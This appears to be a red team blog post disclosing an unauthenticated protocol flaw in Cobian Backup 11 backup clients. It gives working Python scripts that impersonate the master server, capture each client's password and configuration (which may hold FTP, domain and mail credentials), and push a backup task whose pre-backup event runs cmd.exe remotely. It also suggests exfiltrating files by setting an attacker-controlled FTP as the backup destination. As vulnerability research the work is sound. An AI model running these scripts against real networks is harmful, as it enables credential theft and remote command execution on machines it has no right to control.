During a Tarlogic Red Team operation, a serious vulnerability was discovered in Cobian Backup software which exploitation enabled the fact of taking the control over several machines in a corporate network.

Introduction

Cobian Backup is software aimed at the creation of security copies containing a great variety of options and utilities. In corporate networks, it is developed with a customers’ architecture receiving backup tasks from a master server. Password allocation is necessary in order to connect a customer to the server.

Customer connected to master server

Customer connected to master server

Briefly analyzing the protocol and how the program logic works, several deficiencies could be observed. These ones can be abused by an attacker.

Customer’s connection to the servers

First of all, we create a sniffer in order to analyze the existing traffic between the customer and the server (the service uses 16020 port by default).

Customer connection to cobian backup server

Customer connection to server

At first sight, we can understand some protocol features:

  • No encryption is used
  • Everything is a readable text (A => 0041) and it is quite clear, what makes understanding easier
  • Every information package exchanged uses the character “,” (002C) as data internal separator
  • Every package is ended with the line break sequence (000A 000D)
  • Customer is polling the server all the time (“REQUESTING” package, it would be a “ping”), and if it does not have any order waiting, the server might answer with a pong in the form of “IDLE”

Other feature that could be noticed quickly is the fact that the customer has never requested any sort of identification or credential to the server. That means, the customer is being connected blindly to the server, enabling an attacker to establish a man-in-the-middle system and seize the server. In order to prove this theory, we create a mini server en python imitating the observed behavior in Cobian Backup:

# Cobian Backup 11

import socket
import signal
import sys
from thread import *

def signal_handler(signal, frame):
        print('You pressed Ctrl+C!')
        sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)


###### Socket data
host = ''
port = 16020 #Default

###### Server Packets
idle = "490044004c0045002c002c000d000a00"
password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00"


###### Main
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  sock.bind((host, port))
except socket.error as msg:
  print "Error: " + str(msg) + " - " + msg[1]
  sys.exit(1)
sock.listen(10)

while 1:
  conn, addr = sock.accept()
  print "[+] New client connected from " + addr[0]

  # 1) El cliente nos manda su password
  data = conn.recv(1024).split(",")
  print " -> Machine: " + data[2]
  print " -> Encrypted Password:\n" + data[1]

  # 2) Le respondemos que la password es valida
  conn.send(password_ok.decode("hex"))

  # 3) Bucle de ping-pong para mantener conectado el cliente
  while 1:	
    ping = conn.recv(1024)
    conn.send(idle.decode("hex"))

Then, it is observed how the plan has worked properly. The customer has sent the encrypted server password –although having a look diagonally and making a couple of greps to old versions source code, it seems that this is a reversible function- and additionally, the customer is kept connected until the connection is closed thanks to answering the pings.

spoofed connection to cobian backup server

Customer connecting a spoofed server

Interacting with customers

Given the fact that it is proven that we can spoof the master server, the next concern that has to be solved is the following: Could we also execute actions in customers? Let’s take as an example the action of seeing configuration.

Server requesting the configuration file to a customer

Server requesting the configuration file to a customer

Following our theory, if we send a GET_OPTIONS whenever a REQUESTING package is sent, the customer’s configuration file (cbEngine.ini) should be sent back.

# Cobian Backup 11

import socket
import signal
import sys
from thread import *

def signal_handler(signal, frame):
        print('You pressed Ctrl+C!')
        sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)


###### Socket data
host = ''
port = 16020 #Default

###### Server Packets
idle = "490044004c0045002c002c000d000a00"
password_ok = "500041005300530057004f00520044005f004f004b002c002c000d000a00"
get_options = "4700450054005f004f005000540049004f004e0053002c002c000d000a00"

###### Main
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  sock.bind((host, port))
except socket.error as msg:
  print "Error: " + str(msg) + " - " + msg[1]
  sys.exit(1)
sock.listen(10)

while 1:
  conn, addr = sock.accept()
  print "[+] New client connected from " + addr[0]

  # 1) El cliente nos manda su password
  data = conn.recv(1024).split(",")
  print " -> Machine: " + data[2]
  print " -> Encrypted Password:\n" + data[1]

  # 2) Le respondemos que la password es valida
  conn.send(password_ok.decode("hex"))

  # 3) El cliente nos manda su REQUESTING
  ping = conn.recv(1024)	
  
  # 4) Nosotros le enviamos el "comando" GET_OPTIONS
  conn.send(get_options.decode("hex"))

  # 5) El cliente ahora nos deberia de devolver el contenido de su cbEngine.ini
  data = conn.recv(7000)
  print " -> Config:"

  # Recordemos que utiliza "," como separador de datos:
  config = data.split(",")
  for x in config[1:]:
    print x

  conn.close()

Whenever a customer is connected to us, the configuration is sent back:

Cobian Backup fake server

Our Cobian Backup false server receiving customer’s configuration.

On the other hand, please observe below customer’s logs:

Customer log

Customer log

Even though, obtaining the configuration is interesting since important FTP, domain, mail, etc. accounts may appear in order to carry out a penetration test; we want something even more conclusive.

Commands remote execution in Cobian Backup

From the master server control panel we can automatize the creation of “tasks” responsible for generating a backup according to the indicated configuration. Tasks are sent to the designated customer in the form of a template including different values –those values are the ones we have already allocated from the interface. Created tasks are stored in the DB folder. Please, find below an example of a task created from the server:

Sample of a programmed backup template

Sample of a programmed backup template

The amount of parameters is huge, highlighting the possibility of quickly configuring as destination an external FTP. For example, we could use Cobian Backup to exfiltrate sensitive files through executing a task where one of our FTP is allocated as security copy destination. This is without doubt an attractive possibility. However, when analyzing the rest of configuring parameters we discover an even more interesting fact: pre and post backup events.

Reading Cobian Backup support forum, we could see that these parameters enable, among other things, the possibility of executing external programs before and after doing a backup. Therefore, they provide the possibility of executing commands remotely in every customer.

Once again, we follow the same working model. Therefore, we create the task manually in the server in order to intercept the traffic with a sniffer. Later, we will analyze the task and try to implement it in a script in python.

Creation of a backup task in a customer

Creation of a backup task in a customer

As it can be observed, an update_list action is sent together with task parameters including name. In case we want to add a new task in order to execute our command through the events, we should copy the sample task and add the following:

EXECUTE,C:\Windows\System32\cmd.exe,

This parameter will open a window with cmd in the customer whenever this task is executed (this information could be read in Cobian Backup support forum). And, how do we indicate that we want the newly created task to be executed?

Servidor solicitando la ejecución de una tarea a un cliente

Server requesting task execution to a customer

Using “BACKUP_SELECTED”, we indicate the task name (which has been allocated in the previous phase when creating the task) we want to be executed. This small protocol abuse used by Cobian Backup is explained in this script in python.

In case we test it:

task execution

Whenever a customer is connected to our false Cobian Backup, a backup task is sent and executed.

In the customer, it could be seen how a cmd window has emerged indicating that the program has been executed successfully:

RCE POC cmd execution

Successful concept test, a CMD has been executed in the customer.

Conclusion

One of the most important Tarlogic Red Team features is our full-time commitment in order to search vulnerabilities in software used by our customers. This results in the discovery of 0-days in many occasions. Some of the results which may seem more interesting will be included in this blog (as this post, or such as we have already done with the XSS Worm in an elder version of Tempobox OpenText, and some others will be only reported (such as vulnerabilities found in AeroAdmin and used during a pentest).

It has to be always taken into account the possibility that an attacker may use non-published vulnerabilities to compromise a machine. It is in this point where the measures implemented during the hardening should make lateral movement difficult in privilege escalation.

Hacking more

...